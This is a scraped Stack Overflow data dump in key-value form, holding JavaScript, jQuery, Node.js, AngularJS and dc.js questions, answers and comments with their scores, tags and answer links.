has body: I'm in an nHibernate-driven MVC environment. My view calls up several nested HTML content tabs, and in those tabs I have Modal pop-ups based on clicked items in displayed grids. I'd like to use the Bootstrap popover tooltip on the fields inside that modal, but I can't seem to get them to work. The main View is: <%@ Page Language="C#" MasterPageFile="~/Views/Shared/Bootstrap.Base.Master" Inherits="System.Web.Mvc.ViewPage<CTICNWv4.Framework.AppContext.ICurrentApplicationContext>" %> <asp:Content ContentPlaceHolderID="TitleContent" ID="tc" runat="server"> Chicago Title School of Real Estate Management </asp:Content> <asp:Content ContentPlaceHolderID="PageContent" ID="pc" runat="server"> < Back to Employee Dashboard School Management Scheduling Classes Venues Instructors Closed Classes Canceled Classes </asp:Content> <asp:Content ContentPlaceHolderID="AdditionalScripts" ID="as" runat="server"> </asp:Content> <asp:Content ContentPlaceHolderID="AdditionalContent" ID="ac" runat="server"> </asp:Content> And the HTML sub-tab code page is: = 4" class="alert alert-warning"> Loading... = 4"> New Class Course Date Name Venue City Clock Hrs. td"> {{item.Class.CourseDate}} ({{item.Class.CourseNum}}) {{item.Class.ClassName}} {{item.Class.VenueCity}} {{item.Class.ClockHrs}}
downvote count: 0

http://stackoverflow.com/comment/39958443
has text: Like I said, it's part of a large coding that make my blogroll work with thumb nails. And because I have another images src already replacing part of the url, the ones that came from picasa albuns, so I don't want to mess too much on the coding already there.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25583276
score: 0

http://stackoverflow.com/q/25641475
downvote count: 1
type: Question
tagged with: javascript
score: 0
answer count: 2
linked to: http://stackoverflow.com/q/118693
favorite count: 0
has comment: http://stackoverflow.com/comment/40064026
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40063988
has title: How to access elements written by javascript to DOM
has body: I've got the following code, which writes radiobuttons through javascript to HTML document.write('&lt;input type="radio" name="AnswerA" /&gt;' + res.rows[jsonCounter][1]); Say, I want to access this AnswerA field and find out if it's been selected, I can try : if(document.getElementById('AnswerA').checked) { } But this doesn't seem to work - can anyone see what I'm doing wrong?
has answer: http://stackoverflow.com/a/25641612
has answer: http://stackoverflow.com/a/25641557
upvote count: 1

http://stackoverflow.com/q/25690301
has body: I have three categories to graph in a bar chart, hence, three bars. However, I would like to graph only two categories, two bars. I have categories A,B,C and I want to graph the subset A,B. Here is a working jsfiddle. The problem is when I put ["A","B"] into the .x(d3.scale.ordinal().domain(["A","B"])) the third bar is still graphed over one of the other ones. Help appreciated. HTML: Bar 1 JS var data = [{ Category: "A", ID: "1" }, { Category: "A", ID: "1" }, { Category: "A", ID: "1" }, { Category: "A", ID: "2" }, { Category: "A", ID: "2" }, { Category: "B", ID: "1" }, { Category: "B", ID: "1" }, { Category: "B", ID: "1" }, { Category: "B", ID: "2" }, { Category: "B", ID: "3" }, { Category: "B", ID: "3" }, { Category: "B", ID: "3" }, { Category: "B", ID: "4" }, { Category: "C", ID: "1" }, { Category: "C", ID: "2" }, { Category: "C", ID: "3" }, { Category: "C", ID: "4" }, { Category: "C", ID: "4" }, { Category: "C", ID: "5" }]; var ndx = crossfilter(data); var XDimension = ndx.dimension(function (d) { return d.Category; }); dc.barChart("#bar1") .width(400).height(150) .dimension(XDimension) .group(XDimension.group().reduceSum(function(d){return d.ID})) .x(d3.scale.ordinal().domain(["A","B"])) .xUnits(dc.units.ordinal) dc.renderAll();
answer count: 1
tagged with: d3.js
type: AnsweredQuestion
has title: Subset ordinal domain for a bar chart
has answer: http://stackoverflow.com/a/25692705
type: Question
accepted answer: http://stackoverflow.com/a/25692705
tagged with: javascript
tagged with: dc.js
score: 0

http://stackoverflow.com/a/25618668
has body: deferred.then( doneCallbacks, failCallbacks ) can take a failure filter like $.when( // Get the HTML $.get("/feature/", function(html) { globalStore.html = html; }), // Get the CSS $.get("/assets/feature.css", function(css) { globalStore.css = css; }), // Get the JS $.getScript("/assets/feature.js") ).then(function() { // Add CSS to page $("&lt;style /&gt;").html(globalStore.css).appendTo("head"); // Add HTML to page $("body").append(globalStore.html); }, function(){ //there is an exception in the request }); To setup the timeout, you can use the timeout option. You can use it either globally like jQuery.ajaxSetup({ timeout: 5000 }) or use $.ajax() instead of the short version $.get() with the timeout option
has comment: http://stackoverflow.com/comment/113291181
upvote count: 3
has comment: http://stackoverflow.com/comment/40022767
has comment: http://stackoverflow.com/comment/40022787
type: Answer
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/25618593

http://stackoverflow.com/a/25647174
has comment: http://stackoverflow.com/comment/40074776
score: 4
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/25647129
type: Answer
has body: jsBin demo $('#name').val(randomObject().location); if you return an Object literal, from the function randomObject() simply access the desired property using dot notation. Another way to make your Function more reusable is to pass a desired Array of objects to the function argument: function rand( arr ) { return arr[Math.floor(Math.random()*arr.length)]; } $('#name').val( rand(businessObject).location );

http://stackoverflow.com/a/25625062
accepted answer of: http://stackoverflow.com/q/25625002
type: Answer
score: 2
upvote count: 2
has body: You are injecting content into HTML in a very wrong (and even unsafe) way. Do this instead: data-fulldescription="&lt;?=htmlspecialchars(json_encode($textFromApi));?&gt;" This way the JSON will be properly encoded and safely injected no matter what is inside; then, you can decode it like so: var decoded = JSON.parse($(this).parents('.someThing').data('fulldescription')); The combination of these steps will perfectly preserve the JSON no matter what it represents (you can take shortcuts if you assume it's a string, but why not be always 100% safe?). You can then do whatever you want with the decoded value.
answers question: http://stackoverflow.com/q/25625002
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40066410
comment on: http://stackoverflow.com/q/25555216
score: 0
has text: Another solution would be apply the height of div1 onto div2 (you can hide scrollbars with css), scroll div2, get the scrolled distance and apply the scrolled distance to div1? That's what I meant by using scrollTo.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40206254
type: Comment
comment on: http://stackoverflow.com/a/25686486
has text: Thanks! I think I got it (almost). I have got a result but the lines are way off the mark most of the time. Probably a result of me having two lines I guess?
score: 0
type: AnswerComment

http://stackoverflow.com/a/25564863
has body: With method invocations, it is important to distinguish between the floating-point dot and the method invocation dot. Thus, you cannot write 1.toString(); you must use one of the following alternatives: 1..toString() 1 .toString() //space before dot (1).toString() 1.0.toString()
downvote count: 0
score: 12
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25564831
type: Answer
answers question: http://stackoverflow.com/q/25564831
upvote count: 12

http://stackoverflow.com/q/25607545
tagged with: express
favorite count: 0
has comment: http://stackoverflow.com/comment/40002715
possible better answer: http://stackoverflow.com/a/25607956
has title: nodejs run script from absolute path
upvote count: 1
has answer: http://stackoverflow.com/a/25607712
tagged with: node.js
type: AnsweredQuestion
score: 1
type: Question
has body: I'm writing a simple application in Node.js with Express. The path to my script is like path/to/script/server.js. When I run the script through node server.js and I'm in the above path, everything works perfectly. When I try to run the script trhough node path/to/script/server.js it gives me the following error: Error: Failed to lookup view "index.html" in views directory "d:\views" at Function.app.render [...] My views are in path/to/script/views. How to solve it?
answer count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/25607712
tagged with: javascript
has answer: http://stackoverflow.com/a/25607956

http://stackoverflow.com/comment/40138204
comment on: http://stackoverflow.com/q/25682048
has text: Here it is: http://jsfiddle.net/7zya95y6/
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/40082103
comment on: http://stackoverflow.com/q/25650637
type: QuestionComment
type: Comment
has text: any code help please i tried but not happening @LcSalazar thank you
score: 0

http://stackoverflow.com/a/25652889
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40085276
upvote count: 1
has body: This happens because you are setting left to 400 always, if you set left to 800 for the second one than it will work http://jsfiddle.net/oesw6onk/2/ $(document).ready(function () { $("button").click(function () { $("div").animate({ left: '400', opacity: '1', }, function () { $("div").animate({ left: '800', opacity: '0', }) }); }); }); I put the second animation in the complete function of the first as well. OR you can use the increment http://jsfiddle.net/oesw6onk/3/ $(document).ready(function () { $("button").click(function () { $("div").animate({ left: '+=400', opacity: '1', }, function () { $("div").animate({ left: '+=400', opacity: '0', }) }); }); }); You might want to set the left to 0 again after the final animation for this version as you can see the box will keep 400 pixel to the right every time you click the button. Example of the left reset http://jsfiddle.net/oesw6onk/4/ CSS option http://jsfiddle.net/oesw6onk/6/ @-webkit-keyframes NAME-YOUR-ANIMATION { 0% { opacity: 0; left: 0; } 50% { opacity: 1; } 100% { opacity: 0; left: 800px; } } @-moz-keyframes NAME-YOUR-ANIMATION { 0% { opacity: 0; left: 0; } 50% { opacity: 1; } 100% { opacity: 0; left: 800px; } } @-o-keyframes NAME-YOUR-ANIMATION { 0% { opacity: 0; left: 0; } 50% { opacity: 1; } 100% { opacity: 0; left: 800px; } } @keyframes NAME-YOUR-ANIMATION { 0% { opacity: 0; left: 0; } 50% { opacity: 1; } 100% { opacity: 0; left: 800px; } } div { -webkit-animation: NAME-YOUR-ANIMATION 2s infinite; -moz-animation: NAME-YOUR-ANIMATION 2s infinite; -o-animation: NAME-YOUR-ANIMATION 2s infinite; animation: NAME-YOUR-ANIMATION 2s infinite; }
has comment: http://stackoverflow.com/comment/40085638
type: Answer
answers question: http://stackoverflow.com/q/25652610

http://stackoverflow.com/q/25609837
tagged with: parse-platform
type: UnansweredQuestion
has body: I have a cloud function that loops over a class named drives. Each element in this class has an array with pointers to a class named driveResults. I made a cloud job that fetches the drives like this: First, I made a function called fetchPaginated so I can fetch more than 1000 items with 1 call. Parse.Collection.prototype.fetchPaginated = function(callbacks){ var promise = new Parse.Promise(); var result = []; var thisCol = this; var processCallback = function(res) { result = result.concat(res); if (res.length === thisCol.query._limit) { process(res[res.length-1].id); }else{ thisCol.reset(result); delete thisCol.query._where.objectId; if(callbacks &amp;&amp; callbacks.success) callbacks.success(); promise.resolve(true); } } var process = function(skip) { if (skip) { thisCol.query.greaterThan("objectId", skip); } thisCol.query.ascending("objectId"); thisCol.query.find().then(function querySuccess(res) { processCallback(res); }, function queryFailed(reason) { if(callbacks &amp;&amp; callbacks.error) callbacks.error(thisCol, reason); promise.reject("query unsuccessful, length of result " + result.length + ", error:" + reason.code + " " + reason.message); }); } process(false); return promise; }; Second, I create the model, query and collection for drives. // ---------------------------------------------------------------------------------- Drives // --------------------------------------------------- MODEL var DrivesModel = Parse.Object.extend({ className: "Drives", }); exports.DrivesModel = DrivesModel; // --------------------------------------------------- QUERY var DrivesQuery = new Parse.Query(DrivesModel); exports.DrivesQuery = DrivesQuery; DrivesQuery.limit(1000); DrivesQuery.addAscending('date'); DrivesQuery.include('driveResults'); DrivesQuery.find({ success: function(results) { // results is an array of Parse.Object. }, error: function(error) { // error is an instance of Parse.Error. } }); // --------------------------------------------------- COLLECTION var Dr…
type: Question
has answer: http://stackoverflow.com/a/25609838
tagged with: arrays
tagged with: javascript
tagged with: parse-cloud-code
score: 0
tagged with: fetch
has title: Parse.com cloud job: Array of pointers missing entries and containing null
answer count: 1

http://stackoverflow.com/q/25694723
has title: socket.io emit to all sockets not working
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25694938
score: 0
tagged with: sockets
tagged with: node.js
type: UnansweredQuestion
has body: I have the following code: /* WEB SERVER AND SOCKET */ var express = require("express"); var app = express(); var port = process.env.PORT || 3010; var io = require('socket.io').listen(app.listen(port)); io.configure(function () { io.set("transports", [ 'websocket' , 'xhr-polling' , 'flashsocket' , 'htmlfile' , 'jsonp-polling' ]); io.set("polling duration", 10); }); /* TWITTER STUFF */ t.track('hashtag'); t.track('sometag'); t.on('tweet', function (tweet) { console.log('Tweet received from ' + tweet.user.name + ' (@' + tweet.user.screen_name + '): ' + tweet.text); io.sockets.emit('tweet', { user: { name: tweet.user.name, screen_name: tweet.user.screen_name, profile_pic: tweet.user.profile_image_url }, text: tweet.text, time: tweet.created_at, photo: tweet.media.media_url }); }); When running this, if I tweet using the hashtag, I get the log but no socket message is sent. Also, any following tweets do not do anything, suggesting that the emit function is hanging. In my log when starting the server, at the beginning I see: info - socket.io started info - FlashPolicyFileServer received an error event: listen EADDRINUSE However, connections can still be made. Running netstat -tulpn | grep :3010 doesn't return anything, so I don't really get what the issue is. I'm running socket.io 0.9.16 and express 3.5.1.
type: Question
tagged with: twitter

http://stackoverflow.com/q/25607621
has comment: http://stackoverflow.com/comment/40002855
has comment: http://stackoverflow.com/comment/40003043
possible better answer: http://stackoverflow.com/a/25607722
has comment: http://stackoverflow.com/comment/40003217
has comment: http://stackoverflow.com/comment/40003263
has body: So i have a array of objects, I want to add new object into it. so I am using following code here is my code. I have seen other questions asked on the same topic but still I am not able to add my new object that i am fetching using jquery into my list. I am doing silly mistake please find it for me. Thanks
accepted answer: http://stackoverflow.com/a/25607773
has title: Adding object to my array of objects using javascript functions
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40003136
has comment: http://stackoverflow.com/comment/40002688
has answer: http://stackoverflow.com/a/25607773
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40002992
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25607722
score: 0

http://stackoverflow.com/q/25632577
type: UnansweredQuestion
tagged with: css
has answer: http://stackoverflow.com/a/25632888
has title: boostrap horizontal and vertical sections with easing scroll
type: Question
answer count: 2
tagged with: javascript
has answer: http://stackoverflow.com/a/25632744
score: 0
has body: Im using the bootstrap template located here: http://startbootstrap.com/template-overviews/scrolling-nav/ I like how the vertical scrolling is working. I want to use that and also create horizontal scrolling. So when you use the "top nav", the page will scroll vertical. Once you click a link or button in one of these "sections" it will scroll horizontal. The problem i face is how to have the sections align horizontal on one row. any clue on how to achieve this? Thanks
tagged with: twitter-bootstrap

http://stackoverflow.com/a/25617042
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/40101638
downvote count: 0
answers question: http://stackoverflow.com/q/25564988
has body: Actually, there are many things wrong with the code you initially shared, some of which are: UL tag doesn't have LI items ng-show="image.visible" is outside of the ng-repeat, so image will always be undefined the ng-repeat was on the img tag, so there was going to be only 1 link with tons of pictures inside of it. Code sample using $index (attribute available inside of ng-repeat directives): &lt;ul class="minimage" ng-show="images.length"&gt; &lt;!-- show if there are items --&gt; &lt;li ng-repeat="image in images"&gt;&lt;a ng-click="returner($index)"&gt;&lt;img ng-src="/sliderAngular/img/{{image.src}}" width="70" height="56"/&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; And: scope.currentIndex=-1; scope.returner = function(index){ scope.currentIndex = index; };
type: Answer

http://stackoverflow.com/q/25580273
has comment: http://stackoverflow.com/comment/39952788
answer count: 3
has answer: http://stackoverflow.com/a/25580651
has answer: http://stackoverflow.com/a/25580555
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/39952716
has title: Drop down text input option
has body: I want a drop down element where user can select from available options or select enter value option which in turn allows to enter value. I specifically want that user can enter value only when they select "Enter a value " option. Here is what I have tried so far. HTML- None 1-70 71-250 Enter value JavaScript- jQuery(".gfield_select").change(function() { var val = jQuery(this).val(); var enter = jQuery(this).parent().find('option:selected').text(); var x = jQuery(this).parent(); if (enter ==="Enter a value" || enter === "Enter value"){ var holder = x.find('.holder'); holder.val(''); holder.prop('disabled',false); holder.focus(); } else { x.find('.holder').val(x.find('option:selected').text()); } }); JS fiddle however it wont work properly if i click the enter value option again.
has comment: http://stackoverflow.com/comment/39952834
accepted answer: http://stackoverflow.com/a/25580651
has answer: http://stackoverflow.com/a/25580357
score: 0
has comment: http://stackoverflow.com/comment/39952912
upvote count: 1
downvote count: 1
possible better answer: http://stackoverflow.com/a/25580357
type: Question
type: AnsweredQuestion

http://stackoverflow.com/comment/39972004
type: QuestionComment
comment on: http://stackoverflow.com/q/25590854
score: 1
has text: One bug that I see on this code is on this line `string strForm = PreparePOSTForm(destinationUrl, data);` the `strForm` is not used anywhere
type: Comment

http://stackoverflow.com/comment/93857439
type: AnswerComment
type: Comment
has text: Maybe you can use this instead, `daysInMonth.push(monthDate.format('DD-ddd')); ` to get proper expected format
comment on: http://stackoverflow.com/a/34639524
score: 0

http://stackoverflow.com/a/33061514
score: 4
upvote count: 4
downvote count: 0
has body: I tried sending over your model object as you stated and did get the error SequelizeValidationError: "['JAVA','REST','API']" is not a valid array. Perhaps you got a different error on an older version of Sequelize. Then, I made sure the tags value was a JavaScript array instead of a string and it worked. Mymodel.create({ title: 'Test challenge', tags: ['JAVA','REST','API'] }).then(function() {});
type: Answer
answers question: http://stackoverflow.com/q/25581904

http://stackoverflow.com/comment/39913948
type: Comment
type: QuestionComment
has text: It might, I don't have a definite answer for you.
comment on: http://stackoverflow.com/q/25559652
score: 0

http://stackoverflow.com/comment/40341995
score: 0
has text: @spenf I've tended to replicate this message from your question `realItem + " is being served at " + diningLocation + " for " + meal` and allow grouping buy user installation so that you can send one notification per such message
type: AnswerComment
comment on: http://stackoverflow.com/a/25787537
type: Comment

http://stackoverflow.com/q/25687389
has comment: http://stackoverflow.com/comment/40147269
tagged with: analytics
has comment: http://stackoverflow.com/comment/40147202
score: 0
has comment: http://stackoverflow.com/comment/40147537
type: UnansweredQuestion
has title: _gaq.push won't send data
has body: somehow my _gaq.push function is not working. If I set debug = true I can see the logs, and I know it gets to the else (when I have debug=false) because I tried adding a log in it. Here's my code var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXXXXX-X']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); var debug = false; function send_data(text, url) { if (debug) { console.log("_gaq.push(['_trackEvent', 'Site-change', " + text + ", " + url + "]);"); } else { _gaq.push(['_trackEvent', 'Site-change', text, url]); } } $('.navigation .child a').unbind('click').on('click', function(e) { var url = $(this).attr('href'); var text = $(this).text(); send_data(text, url); }); Any idea?
answer count: 0
has comment: http://stackoverflow.com/comment/40147450
type: Question
has comment: http://stackoverflow.com/comment/40147191
has comment: http://stackoverflow.com/comment/40147256
tagged with: javascript

http://stackoverflow.com/q/25665248
has comment: http://stackoverflow.com/comment/40107246
has comment: http://stackoverflow.com/comment/40106800
favorite count: 0
possible better answer: http://stackoverflow.com/a/25665337
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25665337
type: AnsweredQuestion
has body: I know, the title is a bit misleading, but: I am getting a resource from outside and I am feeding my page with this it, like news, videos, etc. Now, all links in those feeds are not 'target_blank'ed, I tried to make all links target="_blank" in this way: $(function(){ $('.newstext').find('a').attr('target','_blank'); }); But the links are still opening in the same tab. The code of a link looks like this (after I added target_blank with jQuery): &lt;a href="someurl" rel="nofollow" onclick="spotonTrackOutboundLink(this.href); return false;" target="_blank"&gt; some text about this link &lt;/a&gt; Why is it still opening in the same tab? Am I missing something? is it because of return false; ?
has comment: http://stackoverflow.com/comment/40106860
has comment: http://stackoverflow.com/comment/40107167
has comment: http://stackoverflow.com/comment/40106871
accepted answer: http://stackoverflow.com/a/25665333
upvote count: 1
has comment: http://stackoverflow.com/comment/40106796
downvote count: 1
type: Question
tagged with: javascript
has title: jquery target blank is not working
score: 0
has answer: http://stackoverflow.com/a/25665384
answer count: 3
has comment: http://stackoverflow.com/comment/40106847
tagged with: jquery
has answer: http://stackoverflow.com/a/25665333

http://stackoverflow.com/q/25564200
has comment: http://stackoverflow.com/comment/39922755
answer count: 1
has comment: http://stackoverflow.com/comment/39935379
favorite count: 0
tagged with: angularjs
has body: I am trying to obtain a .json file from remote firebase server. function fetchData(remoteJsonId){ var url = "https://myAppName.firebaseapp.com/topics/"+remoteJsonID; console.log(url); //This variable expands to the full domain name which is valid and returns success both on wget and the browser $http.jsonp(url).then( function(resp){ }, function(err){ console.log(err.status) // This posts "404" on console. } ); } But If I open url in the browser the json file loads. Even if I wget url the json file loads. But through angular it returns a 404 not found. Now the .json remote file has this structure: [ { "hello":"Europe" }, { "hello":"USA" } ] The above file can be fetched using $http.get() but not with $http.jsonp(). JSONP cant parse .json file with the above structure. How can I work around this?
upvote count: 1
linked to: http://stackoverflow.com/q/25583064
has answer: http://stackoverflow.com/a/25571422
has comment: http://stackoverflow.com/comment/39962809
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39933406
has title: Obtaining JSONP files from Firebase hosting through Angular
score: 1
tagged with: http://stackoverflow.com/tag/json
type: Question
downvote count: 0
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25571422
has comment: http://stackoverflow.com/comment/39929559
tagged with: firebase-hosting

http://stackoverflow.com/q/25647129
upvote count: 2
has title: Access object value through function
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25647174
score: 1
downvote count: 1
type: Question
has body: This may be simple but not sure on how to finish this off. I have the following array of JS objects for example // JS Objects var businessObject = [{name: "Tesco", location: "Cardiff"}, {name: 'IAC', location: 'Newport'}, {name: "Specsavers", location:"Southampton"}] i then have a function that will loop through and pick an object at random // Functions randomObject = function() { var random = businessObject[Math.floor(Math.random()*businessObject.length)]; return random; }; I then want to assign one of the values to an input field by running the function $('#name').val(randomObject()); But how do i just pick out the location for example of the random object generated at the moment I get [object Object] returned Thanks in Advance
tagged with: javascript
tagged with: jquery
answer count: 1
favorite count: 0

http://stackoverflow.com/q/25555821
favorite count: 0
has answer: http://stackoverflow.com/a/25556076
accepted answer: http://stackoverflow.com/a/25556076
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25556188
downvote count: 0
possible better answer: http://stackoverflow.com/a/25556035
has answer: http://stackoverflow.com/a/25556046
type: Question
has title: Configurable and Writable Javascript
score: 1
has body: I'm currently taking the curve in learning OOP in Javascript and I came to this confusion var person={ name:"kevin", }; Object.defineProperty(person,"name",{ enumerable:false, configurable:true, writable:false, }); delete person.name; person.name="blue"; alert(person.name); As you see the writable is set to false and configurable is set to true and even vice - versa still it changes the name from "Kevin" to "Blue". Why did the name changes if writable is false? Kindly please explain clearly Link for the code
upvote count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25556035

http://stackoverflow.com/a/25695696
has comment: http://stackoverflow.com/comment/40163373
has comment: http://stackoverflow.com/comment/40163334
has comment: http://stackoverflow.com/comment/40167339
type: Answer
answers question: http://stackoverflow.com/q/25695563
has comment: http://stackoverflow.com/comment/40163222
score: 0
has body: Callbacks should work. I'm not exactly sure what it is that you're trying to do, but it seems like you're saying you want one to run after another. function hides(callback){ $('#whiteLogo').hide('600', function(){ $('div.form').hide('600', function(){ if (callback){ callback(); } }); }); } function moveTop(callback){ $('nav').animate({ 'bottom': 'initial', 'top': '0px' }, 600, function(){ $('.gradient').animate({ 'bottom': 'initial', 'top': '-10px' }, 600, function(){ if (callback){ callback(); } }); }); } function destroys(callback){ $('.gradient').hide(function(){ if (callback){ callback(); } }); } //I have never used after but I'm sure it's similar to the callback structure above. function content(){ $('header').after(' \t \t \t \t\t\t \t \t\t '); } Callbacks can be used like this. hides(function(){ doSomething(); });

http://stackoverflow.com/a/25662753
type: Answer
answers question: http://stackoverflow.com/q/25662645
has body: Give the a class and then you can use the jQuery clone() function. Select Quantity 50 - 60 61 - 70 71 - 80 Above 80 $( ".dropClass" ).clone().appendTo( "#someDiv" ); DEMO
score: 3
upvote count: 3
downvote count: 0

http://stackoverflow.com/comment/40110708
comment on: http://stackoverflow.com/q/25666042
score: 0
has text: it turns an error that float cannot be converted to string. there is a red line under toString
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25671325
downvote count: 0
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40122381
has body: I am trying to export leaftlet map with markers to PNG format using html2canvas. Issue is html2canvas is able to create PNG of Map but not with the Markers on the map. No sure about the reason but I guess because of the layering, it is creating PNG of map layer only. My Fiddle: http://jsfiddle.net/Lup55pa6/1/ Would be great if someone can provide me solution with existing APIs I am using OR I can consider other export options as well if possible in any JS library or Java.
has title: Leaflet OpenStreetMap Image Export with Map Markers using html2canvas
has answer: http://stackoverflow.com/a/30866725
has answer: http://stackoverflow.com/a/26078186
tagged with: leaflet
score: 1
tagged with: java
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/26214906
tagged with: openstreetmap
tagged with: javascript
tagged with: html2canvas
answer count: 3
linked to: http://stackoverflow.com/q/25172591

http://stackoverflow.com/q/25686686
has title: How to add extra parameter when changing anonymous function to named function
has comment: http://stackoverflow.com/comment/40145754
tagged with: anonymous-function
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25686792
has comment: http://stackoverflow.com/comment/40145963
has comment: http://stackoverflow.com/comment/40145869
linked to: http://stackoverflow.com/q/12694588
type: Question
score: 0
answer count: 2
linked to: http://stackoverflow.com/q/148901
has body: I have a situation like this: "render": function(a, b) { // do stuff } I want to change this to a named function: "render": foo function foo(a, b) { // do stuff } The thing is, the function can do different things in different situations, so I want to add another parameter like this: function foo(a, b, type) How do I call this function and still pass in the original parameters? I have no control over the code that calls this method so I don't know where a and b come from.
has answer: http://stackoverflow.com/a/25686803

http://stackoverflow.com/a/25592574
score: 1
has body: Try this HTML Text Javascript function goback() { window.history.back(); }
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25592520
type: Answer
accepted answer of: http://stackoverflow.com/q/25592520
downvote count: 0

http://stackoverflow.com/q/25562191
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/39918430
tagged with: jquery
linked to: http://stackoverflow.com/q/833997
has answer: http://stackoverflow.com/a/25562230
upvote count: 1
tagged with: datepicker
favorite count: 0
has answer: http://stackoverflow.com/a/25562389
has body: Hi i want to select date of birth from first date picker. In second date picker pick dates only above date of birth. http://jsfiddle.net/boopathirajan/6c3v5gna/2/ I added code here. so help me how to pick date2>date1 only html &lt;div class="wrapper"&gt; &lt;input type="text" value="" id="date1" name="dob"&gt; &lt;input type="text" value="" id="date2" name="vcc"&gt; &lt;/div&gt; jquery jQuery('#date1').datepicker({ dateFormat : 'dd-mm-yy', maxDate: 0 }); jQuery('#date2').datepicker({ dateFormat : 'dd-mm-yy', maxDate: 0 });
accepted answer: http://stackoverflow.com/a/25562389
has comment: http://stackoverflow.com/comment/39918395
type: AnsweredQuestion
has title: How to set date2>date1 in Jquery UI Datepicker?
score: 1
possible better answer: http://stackoverflow.com/a/25562230
type: Question
answer count: 2

http://stackoverflow.com/a/25648070
has comment: http://stackoverflow.com/comment/40076809
answers question: http://stackoverflow.com/q/25647966
downvote count: 0
has comment: http://stackoverflow.com/comment/40095737
has comment: http://stackoverflow.com/comment/40077258
has comment: http://stackoverflow.com/comment/40113873
has comment: http://stackoverflow.com/comment/40076732
has comment: http://stackoverflow.com/comment/40078936
score: 4
type: Answer
upvote count: 4
has body: You are using a backslash to use case insensitive flag but you need to use a forward slash like this: var re = /^(?:(?!\b(?:AND|O[RK]|NOT|FALSE|TRUE)\b)[\wåäöÅÄÖ._])*$/i; HERE----^

http://stackoverflow.com/comment/40234953
type: QuestionComment
has text: Well, I think they're looking for mostly specific programming questions here, but now that I've revisited the FAQ, I see that common software tools are also ok. So, it is probably fine :)
comment on: http://stackoverflow.com/q/25686801
score: 0
type: Comment

http://stackoverflow.com/a/25630703
score: 0
has body: Probably something like this: $("input").mouseup(function() { var num = $(this).val(); if (num % 2) { console.log(num); } }); EDIT: and here it is in plain JS: var el = document.getElementsByTagName("input")[0]; el.onkeyup = function () { var num = el.value; if (num % 2 == false) { console.log(num); } };
has comment: http://stackoverflow.com/comment/40045450
type: Answer
has comment: http://stackoverflow.com/comment/40045112
has comment: http://stackoverflow.com/comment/40045109
answers question: http://stackoverflow.com/q/25630556
has comment: http://stackoverflow.com/comment/40045159

http://stackoverflow.com/comment/40135606
comment on: http://stackoverflow.com/q/25679557
has text: @Suraj If I get your question then you want something like [**onbeforeunload-custom-message**](http://stackoverflow.com/questions/5398772/firefox-4-onbeforeunload-custom-message), if **Yes**, then apologies! The previous mention plugin will also not work. Just tested it in Chrome & Firefox. [DEMO](http://jsfiddle.net/x4o41ape/9/). And when I go thru the comment's, I don't see it's possible.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40080403
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25634613
has text: Are you sure that it is your app pinging on the 5 minute interval and not [Browser Link](http://blogs.msdn.com/b/webdev/archive/2013/06/28/browser-link-feature-in-visual-studio-preview-2013.aspx) which uses SignalR under the covers? The link I provided explains how you can disable the feature.

http://stackoverflow.com/comment/40084074
has text: @Huangism var playerPool = []; that is not the problem. I am able to pass the player object and even extract its properties in the game class. the problem is the "player" object cannot be assigned to self.current_players which is a class wide var this.current_players = []
comment on: http://stackoverflow.com/q/25651068
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40081470
score: 0
type: Comment
type: QuestionComment
has text: I can't find an obvious fault. Could it be that the label is dynamically added after the page finishes loading (after `complete` fires)
comment on: http://stackoverflow.com/q/25650904

http://stackoverflow.com/comment/40086417
type: QuestionComment
comment on: http://stackoverflow.com/q/25653380
has text: Something like [THIS](http://codepen.io/anon/pen/IBKjF)?
score: 0
type: Comment

http://stackoverflow.com/comment/108402593
comment on: http://stackoverflow.com/a/25588090
score: 0
type: AnswerComment
type: Comment
has text: It seems that the FontFamily ENUM [has been deprecated](https://developers.google.com/apps-script/reference/document/font-family?hl=en). It seems that there is currently no way to retrieve an array of font family names for font families that are currently available to the document. I have [opened an issue on the issue tracker](https://issuetracker.google.com/issues/154293771), please star if you would appreciate this functionality.

http://stackoverflow.com/q/25607465
has comment: http://stackoverflow.com/comment/40003660
has title: Javascript array won't update
upvote count: 1
tagged with: arrays
answer count: 1
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25607696
